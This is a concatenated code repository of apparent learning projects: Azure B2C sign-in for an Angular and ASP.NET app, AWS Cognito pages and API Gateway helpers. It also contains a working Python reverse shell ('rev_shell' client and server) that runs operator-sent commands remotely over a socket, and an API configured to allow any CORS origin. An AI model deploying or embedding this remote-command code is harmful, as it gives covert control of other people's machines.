"user.read","openid","profile" 33 | ] 34 | }) 35 | 36 | ], 37 | providers: [], 38 | bootstrap: [AppComponent] 39 | }) 40 | export class AppModule { } 41 | -------------------------------------------------------------------------------- /jitbox-api/JitBoxNg/src/app/app.module.ts: -------------------------------------------------------------------------------- 1 | import { BrowserModule } from '@angular/platform-browser'; 2 | import { NgModule } from '@angular/core'; 3 | 4 | import { AppRoutingModule } from './app-routing.module'; 5 | import { AppComponent } from './app.component'; 6 | import { NavbarComponent } from './navbar/navbar.component'; 7 | import {HttpClientModule} from '@angular/common/http'; 8 | import {MsalModule} from '@azure/msal-angular' 9 | 10 | @NgModule({ 11 | declarations: [ 12 | AppComponent, 13 | NavbarComponent 14 | ], 15 | imports: [ 16 | BrowserModule, 17 | AppRoutingModule, 18 | HttpClientModule, 19 | MsalModule.forRoot({ 20 | auth:{ 21 | clientId:"92f48668-a10b-4d89-b7d2-7d355dbf3e59", // Application Id of Application registered in B2C 22 | authority:"https://jitbox.b2clogin.com/jitbox.onmicrosoft.com/B2C_1_susi", //signup-signin userflow 23 | validateAuthority:false, 24 | redirectUri:"http://localhost:4200/" 25 | }, 26 | cache:{ 27 | cacheLocation:"sessionStorage", 28 | storeAuthStateInCookie:false 29 | } 30 | },{ 31 | consentScopes:[ 32 | "user.read","openid","profile" 33 | ] 34 | }) 35 | 36 | ], 37 | providers: [], 38 | bootstrap: [AppComponent] 39 | }) 40 | export class AppModule { } 41 | -------------------------------------------------------------------------------- /jitbox-api/JitBox.Api/.vscode/tasks.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": "2.0.0", 3 | "tasks": [ 4 | { 5 | "label": "build", 6 | "command": "dotnet", 7 | "type": "process", 8 | "args": [ 9 | "build", 10 | "${workspaceFolder}/JitBox.Api.csproj", 11 | "/property:GenerateFullPaths=true", 12 | "/consoleloggerparameters:NoSummary" 13 | ], 14 | "problemMatcher": "$msCompile" 15 | }, 16 | { 17 | "label": "publish", 18 | "command": "dotnet", 19 | "type": "process", 20 | "args": [ 21 | "publish", 22 | "${workspaceFolder}/JitBox.Api.csproj", 23 | "/property:GenerateFullPaths=true", 24 | "/consoleloggerparameters:NoSummary" 25 | ], 26 | "problemMatcher": "$msCompile" 27 | }, 28 | { 29 | "label": "watch", 30 | "command": "dotnet", 31 | "type": "process", 32 | "args": [ 33 | "watch", 34 | "run", 35 | "${workspaceFolder}/JitBox.Api.csproj", 36 | "/property:GenerateFullPaths=true", 37 | "/consoleloggerparameters:NoSummary" 38 | ], 39 | "problemMatcher": "$msCompile" 40 | } 41 | ] 42 | } -------------------------------------------------------------------------------- /jitbox/JitBox.Api/.vscode/tasks.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": "2.0.0", 3 | "tasks": [ 4 | { 5 | "label": "build", 6 | "command": "dotnet", 7 | "type": "process", 8 | "args": [ 9 | "build", 10 | "${workspaceFolder}/JitBox.Api.csproj", 11 | "/property:GenerateFullPaths=true", 12 | "/consoleloggerparameters:NoSummary" 13 | ], 14 | "problemMatcher": "$msCompile" 15 | }, 16 | { 17 | "label": "publish", 18 | "command": "dotnet", 19 | "type": "process", 20 | "args": [ 21 | "publish", 22 | "${workspaceFolder}/JitBox.Api.csproj", 23 | "/property:GenerateFullPaths=true", 24 | "/consoleloggerparameters:NoSummary" 25 | ], 26 | "problemMatcher": "$msCompile" 27 | }, 28 | { 29 | "label": "watch", 30 | "command": "dotnet", 31 | "type": "process", 32 | "args": [ 33 | "watch", 34 | "run", 35 | "${workspaceFolder}/JitBox.Api.csproj", 36 | "/property:GenerateFullPaths=true", 37 | "/consoleloggerparameters:NoSummary" 38 | ], 39 | "problemMatcher": "$msCompile" 40 | } 41 | ] 42 | } -------------------------------------------------------------------------------- /jitbox/JitBox.Api/Controllers/WeatherForecastController.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using Microsoft.AspNetCore.Authorization; 6 | using Microsoft.AspNetCore.Mvc; 7 | using Microsoft.Extensions.Logging; 8 | 9 | namespace JitBox.Api.Controllers 10 | { 11 | [Authorize] 12 | [ApiController] 13 | [Route("[controller]")] 14 | public class WeatherForecastController : ControllerBase 15 | { 16 | private static readonly string[] Summaries = new[] 17 | { 18 | "Freezing", "Bracing", "Chilly", "Cool", "Mild", "Warm", "Balmy", "Hot", "Sweltering", "Scorching" 19 | }; 20 | 21 | private readonly ILogger _logger; 22 | 23 | public WeatherForecastController(ILogger logger) 24 | { 25 | _logger = logger; 26 | } 27 | 28 | [HttpGet] 29 | public IEnumerable Get() 30 | { 31 | var rng = new Random(); 32 | return Enumerable.Range(1, 5).Select(index => new WeatherForecast 33 | { 34 | Date = DateTime.Now.AddDays(index), 35 | TemperatureC = rng.Next(-20, 55), 36 | Summary = Summaries[rng.Next(Summaries.Length)] 37 | }) 38 | .ToArray(); 39 | } 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /jitbox/JitBox.Api/.vscode/launch.json: -------------------------------------------------------------------------------- 1 | { 2 | // Use IntelliSense to find out which attributes exist for C# debugging 3 | // Use hover for the description of the existing attributes 4 | // For further information visit https://github.com/OmniSharp/omnisharp-vscode/blob/master/debugger-launchjson.md 5 | "version": "0.2.0", 6 | "configurations": [ 7 | { 8 | "name": ".NET Core Launch (web)", 9 | "type": "coreclr", 10 | "request": "launch", 11 | "preLaunchTask": "build", 12 | // If you have changed target frameworks, make sure to update the program path. 13 | "program": "${workspaceFolder}/bin/Debug/netcoreapp3.1/JitBox.Api.dll", 14 | "args": [], 15 | "cwd": "${workspaceFolder}", 16 | "stopAtEntry": false, 17 | // Enable launching a web browser when ASP.NET Core starts. For more information: https://aka.ms/VSCode-CS-LaunchJson-WebBrowser 18 | "serverReadyAction": { 19 | "action": "openExternally", 20 | "pattern": "\\bNow listening on:\\s+(https?://\\S+)" 21 | }, 22 | "env": { 23 | "ASPNETCORE_ENVIRONMENT": "Development" 24 | }, 25 | "sourceFileMap": { 26 | "/Views": "${workspaceFolder}/Views" 27 | } 28 | }, 29 | { 30 | "name": ".NET Core Attach", 31 | "type": "coreclr", 32 | "request": "attach", 33 | "processId": "${command:pickProcess}" 34 | } 35 | ] 36 | } -------------------------------------------------------------------------------- /jitbox-api/JitBox.Api/.vscode/launch.json: -------------------------------------------------------------------------------- 1 | { 2 | // Use IntelliSense to find out which attributes exist for C# debugging 3 | // Use hover for the description of the existing attributes 4 | // For further information visit https://github.com/OmniSharp/omnisharp-vscode/blob/master/debugger-launchjson.md 5 | "version": "0.2.0", 6 | "configurations": [ 7 | { 8 | "name": ".NET Core Launch (web)", 9 | "type": "coreclr", 10 | "request": "launch", 11 | "preLaunchTask": "build", 12 | // If you have changed target frameworks, make sure to update the program path. 13 | "program": "${workspaceFolder}/bin/Debug/netcoreapp3.1/JitBox.Api.dll", 14 | "args": [], 15 | "cwd": "${workspaceFolder}", 16 | "stopAtEntry": false, 17 | // Enable launching a web browser when ASP.NET Core starts. For more information: https://aka.ms/VSCode-CS-LaunchJson-WebBrowser 18 | "serverReadyAction": { 19 | "action": "openExternally", 20 | "pattern": "\\bNow listening on:\\s+(https?://\\S+)" 21 | }, 22 | "env": { 23 | "ASPNETCORE_ENVIRONMENT": "Development" 24 | }, 25 | "sourceFileMap": { 26 | "/Views": "${workspaceFolder}/Views" 27 | } 28 | }, 29 | { 30 | "name": ".NET Core Attach", 31 | "type": "coreclr", 32 | "request": "attach", 33 | "processId": "${command:pickProcess}" 34 | } 35 | ] 36 | } -------------------------------------------------------------------------------- /jitbox-api/JitBoxNg/src/app/app.component.ts: -------------------------------------------------------------------------------- 1 | import { Component } from "@angular/core"; 2 | import { MsalService } from "@azure/msal-angular"; 3 | import { HttpClient, HttpHeaders } from "@angular/common/http"; 4 | 5 | const API_ENDPOINT = "https://localhost:5001/weatherforecast/city/"; 6 | 7 | @Component({ 8 | selector: "app-root", 9 | templateUrl: "app.component.html", 10 | styles: [], 11 | }) 12 | export class AppComponent { 13 | title = "JitBoxNg"; 14 | city = ""; 15 | temp = ""; 16 | summary = ""; 17 | 18 | constructor(private authService: MsalService, private http: HttpClient) {} 19 | 20 | ngOnInit(): void {} 21 | 22 | onApiCall() { 23 | console.log("Api call"); 24 | if (this.authService.getAccount()) { 25 | this.city = this.authService.getAccount().idTokenClaims.city; 26 | } 27 | this.authService 28 | .acquireTokenSilent({ 29 | scopes: ["https://jitbox.onmicrosoft.com/api/read_data"], 30 | }) 31 | .then((result: any) => { 32 | console.log(result); 33 | this.http 34 | .get(API_ENDPOINT + this.city, { 35 | responseType: "text", 36 | headers: new HttpHeaders({ 37 | Authorization: "Bearer " + result.accessToken, 38 | }), 39 | }) 40 | .subscribe( 41 | (result) => { 42 | console.log(result); 43 | var res = JSON.parse(result); 44 | this.temp = res.temp; 45 | this.summary = res.summary; 46 | }, 47 | (error) => console.log(error) 48 | ); 49 | }); 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /jitbox-api/JitBoxNg/src/app/navbar/navbar.component.html: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /jitbox/JitBoxNg/src/app/navbar/navbar.component.html: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /client/client.py: -------------------------------------------------------------------------------- 1 | # client 2 | 3 | import socket 4 | import sys 5 | import time 6 | import os 7 | import subprocess 8 | 9 | 10 | class Client(object): 11 | 12 | def __init__(self): 13 | self.host = '127.0.0.1' # local host 14 | self.port = 9090 15 | self.socket = None 16 | 17 | def start_client(self): 18 | try: 19 | self.socket = socket.socket() 20 | self.socket.connect((self.host, self.port)) 21 | hostname = socket.gethostname() 22 | self.socket.send(hostname.encode()) 23 | self.recv_commands() 24 | except socket.error as e: 25 | print("socket creation failed " + str(e)) 26 | time.sleep(5) 27 | self.start_client() 28 | 29 | def recv_commands(self): 30 | while True: 31 | bytes = self.socket.recv(1024) 32 | cmd = bytes.decode('utf-8') 33 | print('Client: received command ' + cmd) 34 | 35 | if cmd == 'quit': 36 | break 37 | if cmd == 'join': 38 | cwd = str(os.getcwd()) + '>' 39 | self.socket.send(cwd.encode()) 40 | continue 41 | 42 | sp = subprocess.Popen( 43 | cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 44 | output_bytes = sp.stdout.read() + sp.stderr.read() 45 | output_str = str(output_bytes, "utf-8") 46 | self.socket.send(str.encode(output_str + str(os.getcwd()) + '>')) 47 | print(output_str) 48 | 49 | self.socket.close() 50 | 51 | 52 | 53 | def main(): 54 | client = Client() 55 | client.start_client() 56 | 57 | 58 | main() 59 | -------------------------------------------------------------------------------- /rev_shell/client.py: -------------------------------------------------------------------------------- 1 | # client 2 | 3 | import socket 4 | import sys 5 | import time 6 | import os 7 | import subprocess 8 | 9 | 10 | class Client(object): 11 | 12 | def __init__(self): 13 | self.host = '127.0.0.1' # local host 14 | self.port = 9090 15 | self.socket = None 16 | 17 | def start_client(self): 18 | try: 19 | self.socket = socket.socket() 20 | self.socket.connect((self.host, self.port)) 21 | hostname = socket.gethostname() 22 | self.socket.send(hostname.encode()) 23 | self.recv_commands() 24 | except socket.error as e: 25 | print("socket creation failed " + str(e)) 26 | time.sleep(5) 27 | self.start_client() 28 | 29 | def recv_commands(self): 30 | while True: 31 | bytes = self.socket.recv(1024) 32 | cmd = bytes.decode('utf-8') 33 | print('Client: received command ' + cmd) 34 | 35 | if cmd == 'quit': 36 | break 37 | if cmd == 'join': 38 | cwd = str(os.getcwd()) + '>' 39 | self.socket.send(cwd.encode()) 40 | continue 41 | 42 | sp = subprocess.Popen( 43 | cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 44 | output_bytes = sp.stdout.read() + sp.stderr.read() 45 | output_str = str(output_bytes, "utf-8") 46 | self.socket.send(str.encode(output_str + str(os.getcwd()) + '>')) 47 | print(output_str) 48 | 49 | self.socket.close() 50 | 51 | 52 | 53 | def main(): 54 | client = Client() 55 | client.start_client() 56 | 57 | 58 | main() 59 | -------------------------------------------------------------------------------- /cognito_auth/confirm.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 9 | 10 | Dynamo-Chat 11 | 12 | 13 | 14 | 28 |
29 |
30 |

Enter your confirm code

31 | 41 |
42 |
43 | 44 | 45 | 46 | 47 | -------------------------------------------------------------------------------- /cognito_auth/signin.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 11 | 12 | Cognito-Auth 13 | 14 | 15 | 16 | 30 |
31 |
32 |

Sign In

33 | 44 |
45 |
46 | 47 | 48 | 49 | 50 | 51 | 52 | -------------------------------------------------------------------------------- /cognito_auth/signup.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 11 | 12 | Cognito-Auth 13 | 14 | 15 | 16 | 30 |
31 |
32 |

Sign Up

33 | 48 |
49 |
50 | 51 | 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /jitbox/JitBox.Api/Startup.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using Microsoft.AspNetCore.Builder; 6 | using Microsoft.AspNetCore.Hosting; 7 | using Microsoft.AspNetCore.HttpsPolicy; 8 | using Microsoft.AspNetCore.Mvc; 9 | using Microsoft.AspNetCore.Authentication; 10 | using Microsoft.AspNetCore.Authentication.AzureADB2C.UI; 11 | using Microsoft.Extensions.Configuration; 12 | using Microsoft.Extensions.DependencyInjection; 13 | using Microsoft.Extensions.Hosting; 14 | using Microsoft.Extensions.Logging; 15 | using Microsoft.IdentityModel.Logging; 16 | 17 | namespace JitBox.Api 18 | { 19 | public class Startup 20 | { 21 | public Startup(IConfiguration configuration) 22 | { 23 | Configuration = configuration; 24 | } 25 | 26 | public IConfiguration Configuration { get; } 27 | 28 | // This method gets called by the runtime. Use this method to add services to the container. 29 | public void ConfigureServices(IServiceCollection services) 30 | { 31 | services.AddCors(); 32 | IdentityModelEventSource.ShowPII = true; 33 | 34 | services.AddAuthentication(AzureADB2CDefaults.BearerAuthenticationScheme) 35 | .AddAzureADB2CBearer(options => Configuration.Bind("AzureAdB2C", options)); 36 | services.AddControllers(); 37 | } 38 | 39 | // This method gets called by the runtime. Use this method to configure the HTTP request pipeline. 40 | public void Configure(IApplicationBuilder app, IWebHostEnvironment env) 41 | { 42 | if (env.IsDevelopment()) 43 | { 44 | app.UseDeveloperExceptionPage(); 45 | } 46 | app.UseCors(builder => 47 | { 48 | builder 49 | .AllowAnyOrigin() 50 | .AllowAnyMethod() 51 | .AllowAnyHeader(); 52 | }); 53 | app.UseHttpsRedirection(); 54 | 55 | app.UseRouting(); 56 | 57 | app.UseAuthentication(); 58 | app.UseAuthorization(); 59 | 60 | app.UseEndpoints(endpoints => 61 | { 62 | endpoints.MapControllers(); 63 | }); 64 | } 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /jitbox-api/JitBox.Api/Startup.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using Microsoft.AspNetCore.Builder; 6 | using Microsoft.AspNetCore.Hosting; 7 | using Microsoft.AspNetCore.HttpsPolicy; 8 | using Microsoft.AspNetCore.Mvc; 9 | using Microsoft.AspNetCore.Authentication; 10 | using Microsoft.AspNetCore.Authentication.AzureADB2C.UI; 11 | using Microsoft.Extensions.Configuration; 12 | using Microsoft.Extensions.DependencyInjection; 13 | using Microsoft.Extensions.Hosting; 14 | using Microsoft.Extensions.Logging; 15 | using Microsoft.IdentityModel.Logging; 16 | 17 | namespace JitBox.Api 18 | { 19 | public class Startup 20 | { 21 | public Startup(IConfiguration configuration) 22 | { 23 | Configuration = configuration; 24 | } 25 | 26 | public IConfiguration Configuration { get; } 27 | 28 | // This method gets called by the runtime. Use this method to add services to the container. 29 | public void ConfigureServices(IServiceCollection services) 30 | { 31 | services.AddCors(); 32 | IdentityModelEventSource.ShowPII = true; 33 | 34 | services.AddAuthentication(AzureADB2CDefaults.BearerAuthenticationScheme) 35 | .AddAzureADB2CBearer(options => Configuration.Bind("AzureAdB2C", options)); 36 | services.AddControllers(); 37 | } 38 | 39 | // This method gets called by the runtime. Use this method to configure the HTTP request pipeline. 40 | public void Configure(IApplicationBuilder app, IWebHostEnvironment env) 41 | { 42 | if (env.IsDevelopment()) 43 | { 44 | app.UseDeveloperExceptionPage(); 45 | } 46 | app.UseCors(builder => 47 | { 48 | builder 49 | .AllowAnyOrigin() 50 | .AllowAnyMethod() 51 | .AllowAnyHeader(); 52 | }); 53 | app.UseHttpsRedirection(); 54 | 55 | app.UseRouting(); 56 | 57 | app.UseAuthentication(); 58 | app.UseAuthorization(); 59 | 60 | app.UseEndpoints(endpoints => 61 | { 62 | endpoints.MapControllers(); 63 | }); 64 | } 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /cognito_auth/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 11 | 12 | Document 13 | 14 | 15 | 16 | 30 |
31 | 43 |
44 |
45 |

Welcome to My App

46 |

47 | This is simple application to experiment with AWS Cognito. 48 |

49 | 52 |
53 | 54 |
55 |
56 | 57 | 58 | 59 | 62 | 63 | 64 | -------------------------------------------------------------------------------- /cloud_friends/js/apiGateway-js-sdk/lib/apiGatewayCore/apiGatewayClient.js: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2010-2016 Amazon.com, Inc. or its affiliates. All Rights Reserved. 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"). 5 | * You may not use this file except in compliance with the License. 6 | * A copy of the License is located at 7 | * 8 | * http://aws.amazon.com/apache2.0 9 | * 10 | * or in the "license" file accompanying this file. This file is distributed 11 | * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 12 | * express or implied. See the License for the specific language governing 13 | * permissions and limitations under the License. 14 | */ 15 | 16 | var apiGateway = apiGateway || {}; 17 | apiGateway.core = apiGateway.core || {}; 18 | 19 | apiGateway.core.apiGatewayClientFactory = {}; 20 | apiGateway.core.apiGatewayClientFactory.newClient = function (simpleHttpClientConfig, sigV4ClientConfig) { 21 | var apiGatewayClient = { }; 22 | //Spin up 2 httpClients, one for simple requests, one for SigV4 23 | var sigV4Client = apiGateway.core.sigV4ClientFactory.newClient(sigV4ClientConfig); 24 | var simpleHttpClient = apiGateway.core.simpleHttpClientFactory.newClient(simpleHttpClientConfig); 25 | 26 | apiGatewayClient.makeRequest = function (request, authType, additionalParams, apiKey) { 27 | //Default the request to use the simple http client 28 | var clientToUse = simpleHttpClient; 29 | 30 | //Attach the apiKey to the headers request if one was provided 31 | if (apiKey !== undefined && apiKey !== '' && apiKey !== null) { 32 | request.headers['x-api-key'] = apiKey; 33 | } 34 | 35 | if (request.body === undefined || request.body === '' || request.body === null || Object.keys(request.body).length === 0) { 36 | request.body = undefined; 37 | } 38 | 39 | // If the user specified any additional headers or query params that may not have been modeled 40 | // merge them into the appropriate request properties 41 | request.headers = apiGateway.core.utils.mergeInto(request.headers, additionalParams.headers); 42 | request.queryParams = apiGateway.core.utils.mergeInto(request.queryParams, additionalParams.queryParams); 43 | 44 | //If an auth type was specified inject the appropriate auth client 45 | if (authType === 'AWS_IAM') { 46 | clientToUse = sigV4Client; 47 | } 48 | 49 | //Call the selected http client to make the request, returning a promise once the request is sent 50 | return clientToUse.makeRequest(request); 51 | }; 52 | return apiGatewayClient; 53 | }; 54 | -------------------------------------------------------------------------------- /rev_shell/server.py: -------------------------------------------------------------------------------- 1 | # server 2 | 3 | import socket 4 | import sys 5 | import time 6 | import threading 7 | 8 | 9 | class Server(object): 10 | 11 | def __init__(self): 12 | self.host = '' # local host 13 | self.port = 9090 14 | self.socket = None 15 | self.clients = [] 16 | self.client_address = [] 17 | 18 | def create_server(self): 19 | try: 20 | self.socket = socket.socket() 21 | self.socket.bind((self.host, self.port)) 22 | self.socket.listen(5) 23 | print('Server started.') 24 | return True 25 | except socket.error as e: 26 | print("socket creation failed " + str(e)) 27 | time.sleep(5) 28 | self.create_server() 29 | 30 | def start_server(self): 31 | while 1: 32 | try: 33 | #print("Server: waiting for new connection") 34 | conn, address = self.socket.accept() # client connected 35 | 36 | client_hostname = conn.recv(1024).decode('utf-8') 37 | #print('{} {} connected '.format(client_hostname, address)) 38 | addr_host = address + (client_hostname,) 39 | self.clients.append((conn,addr_host)) # add client info to list 40 | 41 | except socket.error as e: 42 | print("Error accepting a new connection " + str(e)) 43 | 44 | def send_commands(self,client): 45 | # first send a join command 46 | cmd = 'join' 47 | while True: 48 | client.send(cmd.encode()) 49 | if cmd == 'quit': 50 | break 51 | response = str(client.recv(1024),"utf-8") 52 | print(response, end="") 53 | cmd = input() 54 | 55 | 56 | def start_server(server): 57 | server.create_server() 58 | server.start_server() 59 | 60 | 61 | def process_client(server): 62 | while True: 63 | if not server.clients: # no clients available 64 | print('.',end="") 65 | time.sleep(1) 66 | sys.stdout.flush() 67 | continue 68 | print() 69 | for i, item in enumerate(server.clients): 70 | print(i, item[1]) 71 | cmd = input('Select your client : ') 72 | if cmd == 'r': 73 | continue 74 | client = server.clients[int(cmd)] 75 | server.send_commands(client[0]) 76 | 77 | 78 | 79 | def main(): 80 | server = Server() 81 | listener_thread = threading.Thread(target=start_server, args=(server,)) 82 | listener_thread.daemon = True # thread dies when main thread exits 83 | listener_thread.start() 84 | 85 | worker_thread = threading.Thread(target=process_client, args=(server,)) 86 | worker_thread.daemon = True 87 | worker_thread.start() 88 | 89 | listener_thread.join() # we don't need to exit till both threads are done. 90 | worker_thread.join() 91 | 92 | 93 | 94 | main() -------------------------------------------------------------------------------- /cloud_friends/js/apiGateway-js-sdk/lib/apiGatewayCore/utils.js: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2010-2016 Amazon.com, Inc. or its affiliates. All Rights Reserved. 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"). 5 | * You may not use this file except in compliance with the License. 6 | * A copy of the License is located at 7 | * 8 | * http://aws.amazon.com/apache2.0 9 | * 10 | * or in the "license" file accompanying this file. This file is distributed 11 | * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 12 | * express or implied. See the License for the specific language governing 13 | * permissions and limitations under the License. 14 | */ 15 | 16 | var apiGateway = apiGateway || {}; 17 | apiGateway.core = apiGateway.core || {}; 18 | 19 | apiGateway.core.utils = { 20 | assertDefined: function (object, name) { 21 | if (object === undefined) { 22 | throw name + ' must be defined'; 23 | } else { 24 | return object; 25 | } 26 | }, 27 | assertParametersDefined: function (params, keys, ignore) { 28 | if (keys === undefined) { 29 | return; 30 | } 31 | if (keys.length > 0 && params === undefined) { 32 | params = {}; 33 | } 34 | for (var i = 0; i < keys.length; i++) { 35 | if(!apiGateway.core.utils.contains(ignore, keys[i])) { 36 | apiGateway.core.utils.assertDefined(params[keys[i]], keys[i]); 37 | } 38 | } 39 | }, 40 | parseParametersToObject: function (params, keys) { 41 | if (params === undefined) { 42 | return {}; 43 | } 44 | var object = { }; 45 | for (var i = 0; i < keys.length; i++) { 46 | object[keys[i]] = params[keys[i]]; 47 | } 48 | return object; 49 | }, 50 | contains: function(a, obj) { 51 | if(a === undefined) { return false;} 52 | var i = a.length; 53 | while (i--) { 54 | if (a[i] === obj) { 55 | return true; 56 | } 57 | } 58 | return false; 59 | }, 60 | copy: function (obj) { 61 | if (null == obj || "object" != typeof obj) return obj; 62 | var copy = obj.constructor(); 63 | for (var attr in obj) { 64 | if (obj.hasOwnProperty(attr)) copy[attr] = obj[attr]; 65 | } 66 | return copy; 67 | }, 68 | mergeInto: function (baseObj, additionalProps) { 69 | if (null == baseObj || "object" != typeof baseObj) return baseObj; 70 | var merged = baseObj.constructor(); 71 | for (var attr in baseObj) { 72 | if (baseObj.hasOwnProperty(attr)) merged[attr] = baseObj[attr]; 73 | } 74 | if (null == additionalProps || "object" != typeof additionalProps) return baseObj; 75 | for (attr in additionalProps) { 76 | if (additionalProps.hasOwnProperty(attr)) merged[attr] = additionalProps[attr]; 77 | } 78 | return merged; 79 | } 80 | }; 81 | -------------------------------------------------------------------------------- /jitbox/JitBoxNg/src/polyfills.ts: -------------------------------------------------------------------------------- 1 | /** 2 | * This file includes polyfills needed by Angular and is loaded before the app. 3 | * You can add your own extra polyfills to this file. 4 | * 5 | * This file is divided into 2 sections: 6 | * 1. Browser polyfills. These are applied before loading ZoneJS and are sorted by browsers. 7 | * 2. Application imports. Files imported after ZoneJS that should be loaded before your main 8 | * file. 9 | * 10 | * The current setup is for so-called "evergreen" browsers; the last versions of browsers that 11 | * automatically update themselves. This includes Safari >= 10, Chrome >= 55 (including Opera), 12 | * Edge >= 13 on the desktop, and iOS 10 and Chrome on mobile. 13 | * 14 | * Learn more in https://angular.io/guide/browser-support 15 | */ 16 | 17 | /*************************************************************************************************** 18 | * BROWSER POLYFILLS 19 | */ 20 | 21 | /** IE10 and IE11 requires the following for NgClass support on SVG elements */ 22 | // import 'classlist.js'; // Run `npm install --save classlist.js`. 23 | 24 | /** 25 | * Web Animations `@angular/platform-browser/animations` 26 | * Only required if AnimationBuilder is used within the application and using IE/Edge or Safari. 27 | * Standard animation support in Angular DOES NOT require any polyfills (as of Angular 6.0). 28 | */ 29 | // import 'web-animations-js'; // Run `npm install --save web-animations-js`. 30 | 31 | /** 32 | * By default, zone.js will patch all possible macroTask and DomEvents 33 | * user can disable parts of macroTask/DomEvents patch by setting following flags 34 | * because those flags need to be set before `zone.js` being loaded, and webpack 35 | * will put import in the top of bundle, so user need to create a separate file 36 | * in this directory (for example: zone-flags.ts), and put the following flags 37 | * into that file, and then add the following code before importing zone.js. 38 | * import './zone-flags'; 39 | * 40 | * The flags allowed in zone-flags.ts are listed here. 41 | * 42 | * The following flags will work for all browsers. 43 | * 44 | * (window as any).__Zone_disable_requestAnimationFrame = true; // disable patch requestAnimationFrame 45 | * (window as any).__Zone_disable_on_property = true; // disable patch onProperty such as onclick 46 | * (window as any).__zone_symbol__UNPATCHED_EVENTS = ['scroll', 'mousemove']; // disable patch specified eventNames 47 | * 48 | * in IE/Edge developer tools, the addEventListener will also be wrapped by zone.js 49 | * with the following flag, it will bypass `zone.js` patch for IE/Edge 50 | * 51 | * (window as any).__Zone_enable_cross_context_check = true; 52 | * 53 | */ 54 | 55 | /*************************************************************************************************** 56 | * Zone JS is required by default for Angular itself. 57 | */ 58 | import 'zone.js/dist/zone'; // Included with Angular CLI. 59 | 60 | 61 | /*************************************************************************************************** 62 | * APPLICATION IMPORTS 63 | */ 64 | -------------------------------------------------------------------------------- /jitbox-api/JitBoxNg/src/polyfills.ts: -------------------------------------------------------------------------------- 1 | /** 2 | * This file includes polyfills needed by Angular and is loaded before the app. 3 | * You can add your own extra polyfills to this file. 4 | * 5 | * This file is divided into 2 sections: 6 | * 1. Browser polyfills. These are applied before loading ZoneJS and are sorted by browsers. 7 | * 2. Application imports. Files imported after ZoneJS that should be loaded before your main 8 | * file. 9 | * 10 | * The current setup is for so-called "evergreen" browsers; the last versions of browsers that 11 | * automatically update themselves. This includes Safari >= 10, Chrome >= 55 (including Opera), 12 | * Edge >= 13 on the desktop, and iOS 10 and Chrome on mobile. 13 | * 14 | * Learn more in https://angular.io/guide/browser-support 15 | */ 16 | 17 | /*************************************************************************************************** 18 | * BROWSER POLYFILLS 19 | */ 20 | 21 | /** IE10 and IE11 requires the following for NgClass support on SVG elements */ 22 | // import 'classlist.js'; // Run `npm install --save classlist.js`. 23 | 24 | /** 25 | * Web Animations `@angular/platform-browser/animations` 26 | * Only required if AnimationBuilder is used within the application and using IE/Edge or Safari. 27 | * Standard animation support in Angular DOES NOT require any polyfills (as of Angular 6.0). 28 | */ 29 | // import 'web-animations-js'; // Run `npm install --save web-animations-js`. 30 | 31 | /** 32 | * By default, zone.js will patch all possible macroTask and DomEvents 33 | * user can disable parts of macroTask/DomEvents patch by setting following flags 34 | * because those flags need to be set before `zone.js` being loaded, and webpack 35 | * will put import in the top of bundle, so user need to create a separate file 36 | * in this directory (for example: zone-flags.ts), and put the following flags 37 | * into that file, and then add the following code before importing zone.js. 38 | * import './zone-flags'; 39 | * 40 | * The flags allowed in zone-flags.ts are listed here. 41 | * 42 | * The following flags will work for all browsers. 43 | * 44 | * (window as any).__Zone_disable_requestAnimationFrame = true; // disable patch requestAnimationFrame 45 | * (window as any).__Zone_disable_on_property = true; // disable patch onProperty such as onclick 46 | * (window as any).__zone_symbol__UNPATCHED_EVENTS = ['scroll', 'mousemove']; // disable patch specified eventNames 47 | * 48 | * in IE/Edge developer tools, the addEventListener will also be wrapped by zone.js 49 | * with the following flag, it will bypass `zone.js` patch for IE/Edge 50 | * 51 | * (window as any).__Zone_enable_cross_context_check = true; 52 | * 53 | */ 54 | 55 | /*************************************************************************************************** 56 | * Zone JS is required by default for Angular itself. 57 | */ 58 | import 'zone.js/dist/zone'; // Included with Angular CLI. 59 | 60 | 61 | /*************************************************************************************************** 62 | * APPLICATION IMPORTS 63 | */ 64 | -------------------------------------------------------------------------------- /jitbox-api/JitBox.Api/Controllers/WeatherForecastController.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Net.Http; 5 | using System.Threading.Tasks; 6 | using Microsoft.AspNetCore.Authorization; 7 | using Microsoft.AspNetCore.Mvc; 8 | using Microsoft.Extensions.Logging; 9 | using Newtonsoft.Json; 10 | 11 | namespace JitBox.Api.Controllers 12 | { 13 | [Authorize] 14 | [ApiController] 15 | [Route("[controller]")] 16 | public class 